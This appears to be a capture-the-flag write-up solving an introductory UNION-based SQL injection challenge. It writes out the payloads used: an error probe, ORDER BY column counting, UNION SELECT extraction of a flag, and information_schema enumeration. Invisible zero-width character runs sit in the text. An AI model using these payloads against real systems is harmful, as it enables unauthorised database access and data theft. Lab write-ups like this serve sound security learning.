Dead or alive 1

Platform: web-kids20 | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2026-03-09 | Status: Solved Techniques: union_based_sqli

Summary

SQL injection bypass task. "Find out how many quotes you have left on this mortal earth in my new service."

Dead or alive 1 — Web Kids 2.0

Description

SQL injection bypass task. "Find out how many quotes you have left on this mortal earth in my new service."

URL: http://kslweb1.spb.ctf.su/sqli/bypass1/

Analysis

First task in the SQL injection bypass series. Despite the name "bypass", this task has no filtering at all — it's an introductory task for learning UNION-based SQL injection.

Key observations:

• Input parameter is directly inserted into the SQL query
• Quotes are not filtered
• No WAF present
• SQL errors are visible in the response (helps determine query structure) ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Solution

Step 1: Identifying the vulnerability

A simple check with a quote causes an SQL error, confirming the injection:

' OR 1=1--

Step 2: Determining the number of columns

Using ORDER BY to determine the number of columns:

' ORDER BY 1--
' ORDER BY 2--
...

Step 3: UNION-based extraction

Standard UNION injection to extract data:

' UNION SELECT 1,2,3--

After determining which columns are displayed — extracting the flag from the database:

' UNION SELECT flag,2,3 FROM flags--

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

or searching for tables via information_schema:

' UNION SELECT table_name,2,3 FROM information_schema.tables--
' UNION SELECT column_name,2,3 FROM information_schema.columns WHERE table_name='flags'--

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍